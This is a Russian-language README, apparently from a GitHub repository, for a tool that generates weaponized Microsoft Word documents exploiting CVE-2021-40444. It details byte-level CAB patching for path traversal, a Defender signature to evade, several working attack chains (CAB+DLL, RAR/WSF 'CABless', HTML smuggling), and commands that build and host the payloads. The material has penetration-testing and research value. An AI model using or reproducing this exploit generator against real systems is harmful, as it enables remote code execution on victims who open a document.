tiagob0b/cve-2021-40444Генератор вредоносных DOCX, использующий CVE-2021-40444 (Microsoft Office Word RCE) с загрузкой DLL на основе CAB и цепочками атак RAR/WSF без CAB для тестирования на проникновение.
Вредоносный генератор docx для эксплуатации CVE-2021-40444 (удаленное выполнение кода в Microsoft Office Word), работает с произвольными DLL-файлами.
Хотя в интернете уже есть много PoC, я решил попробовать вооружить эту уязвимость, так как найденные мной материалы не содержали ценной информации, которую стоило бы распространять, учитывая также, что Microsoft уже выпустила патч для этой уязвимости.
На данный момент единственными ценными ресурсами для создания полностью рабочего генератора я считаю:
Вышеуказанные ресурсы описывают многие требования, необходимые для создания полной цепочки. Чтобы не повторять слишком много ненужной информации, я просто резюмирую relevant детали.
Существует довольно много упущенных требований для работы этой эксплуатации, из-за чего даже хорошие PoC, например этот от lockedbyte, не работали должным образом.
Возможно, никто явно не «выпускал» их, чтобы избежать более широкой эксплуатации уязвимости. Но теперь она заплатчена, поэтому разглашение деталей не должно вызывать больших проблем.
Согласно этому твиту от Will Dormann, HTML должен быть размером не менее 4096 байт, чтобы вызвать «Предпросмотр» в MS Word.
CAB-файл должен быть пропатчен на уровне байтов, чтобы избежать ошибок извлечения и добиться ZipSlip:
filename.inf должен стать ../filename.inffilename.inf coffCabStartCFFOLDER.typeCompress CFFOLDER.coffCabStart должен быть увеличен на 3 (из-за добавленного '../')CFFOLDER.cCfData CFFILE.cbFile должен быть больше, чем весь CFHEADER.cbCabinetCFDATA.csum Причин для этих ограничений много, и я не потратил достаточно времени, чтобы глубоко понять их все, но давайте рассмотрим самые важные:
ПРИМЕЧАНИЕ1: Defender теперь обнаруживает, содержит ли CAB-файл PE, используя значение _IMAGE_DOS_HEADER.e_magic в качестве сигнатуры, что потенциально предотвращает встраивание PE-файлов в CAB. Можно ли обойти эту сигнатуру? Я не уверен, но, как уже отмечалось, это заплаченная уязвимость, поэтому я не планирую тратить на это много времени. Любопытный читатель может развить эту тему дальше.
ПРИМЕЧАНИЕ2: Патч Microsoft блокирует произвольные URI-схемы, по-видимому, используя подход чёрного списка (это всего лишь предположение)
Основная цепочка атак, связанная с CVE-2021-40444, — это DLL-атака, загружаемая через URI-схему .cpl. Чтобы её использовать, злоумышленнику нужно создать специально crafted DLL. Если хотите протестировать, попробуйте мой скрипт evildll-gen.
Как отметил Max Maluin, можно взаимодействовать с различными типами файлов, используя IE и связанные с расширениями файлов URI. Хотя это может быть хорошим способом эксплуатации IE, у него есть ограничения.
Действительно, следует отметить, что метод, используемый в эксплуатации для загрузки файлов, основан на обновлениях элементов управления ActiveX и не может использоваться для загрузки произвольных файлов.
Согласно документации Microsoft, тег codebase может указывать только на несколько типов файлов: OCX, INF и CAB.
Даже если мы можем напрямую загрузить OCX или INF-файл, мы всё равно не можем быть уверены, что файл будет загружен в нужное место в системе. С помощью CAB-эксплойта можно переместить .inf-файл в известный путь, используя path traversal, но в любом другом случае файл будет сохранён в случайном каталоге, что делает его практически невозможным для ссылки.
На сегодняшний день я не нашёл способа объединить загрузку и выполнение БЕЗ CAB-файла.
Примечание: Говоря только об IE, HTML-смаглинг мог бы быть возможным сценарием для эксплуатации уязвимости.
Эта техника была впервые раскрыта Eduardo Braun в Twitter и подробно объяснена в этой статье.
Обратите внимание, что при использовании этой техники цепочка атак немного отличается. Эта атака требует, чтобы пользователь загрузил специально созданный RAR-файл, полученный путем объединения валидного WSF-скрипта и валидного RAR-файла. После открытия RAR будет содержать DOCX со ссылкой на HTML, который, в свою очередь, попытается загрузить RAR-файл как WSF-скрипт.
Вкратце:
Утилита генератора в настоящее время может воспроизводить следующие атаки:
| Атака | HTML-шаблоны | Цель | Метод доставки | Метод выполнения | Работает |
|---|---|---|---|---|---|
| Оригинальная версия атаки | cab-orig-* | WORD | DOCX | CAB + DLL | ДА |
| Атака только через IE от j00sean | cab-orig-j00san | IE | HTML | CAB + DLL | ДА |
| Моя версия без DLL | cab-uri-* | WORD | DOCX | CAB + JS/VBS | НЕТ1 |
| Атака «CABless» от Eduardo B. с RAR | cabless-rar-* | WORD | RAR | WSF | ДА |
| Модифицированная атака j00sean + HTML-смаглинг | cabless-smuggling-* | IE | HTML | JS/VBS | ДА2 |
1CAB не загружается должным образом в некоторых средах
2Пользователю нужно нажать «Сохранить», чтобы загрузить файл в IE
Утилита cab_parser.py может использоваться для просмотра заголовков файла эксплойта, но не считайте её полноценным парсером. Это очень быстрый и грязный просмотрщик заголовков CAB, который я разработал, чтобы понять, что происходит.
Генератор разработан для работы в Windows, так как использует утилиту makecab. Перед использованием убедитесь, что установлены необходимые зависимости:
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install virtualenv
python -m virtualenv venv
venv\Scripts\activate.bat
pip install -r requirements
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install -r requirements
Генератор тривиален в использовании, и хотя он был протестирован с различными полезными нагрузками и версиями Windows, он не является безотказным. Я сталкиваюсь с разным поведением на разных сборках Windows. Как только у меня будет больше деталей для обсуждения, я опубликую их здесь.
usage: generator.py [-h] -P PAYLOAD -u URL [-o OUTPUT] [--host] [-c COPY_TO] [-nc] [-t]
[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]
optional arguments:
-h, --help show this help message and exit
-P PAYLOAD, --payload PAYLOAD
DLL payload to use for the exploit
-u URL, --url URL Server URL for malicious references (CAB->INF)
-o OUTPUT, --output OUTPUT
Output files basename (no extension)
--host If set, will host the payload after creation
-c COPY_TO, --copy-to COPY_TO
Copy payload to an alternate path
-nc, --no-cab Use the CAB-less version of the exploit
-t, --test Open IExplorer to test the final HTML file
python generator.py -u http://127.0.0.1 -P test\calc.dll --host
Примечание: порт выбирается на основе URL, а эксплойт создается в зависимости от расширения файла полезной нагрузки
python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t
python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t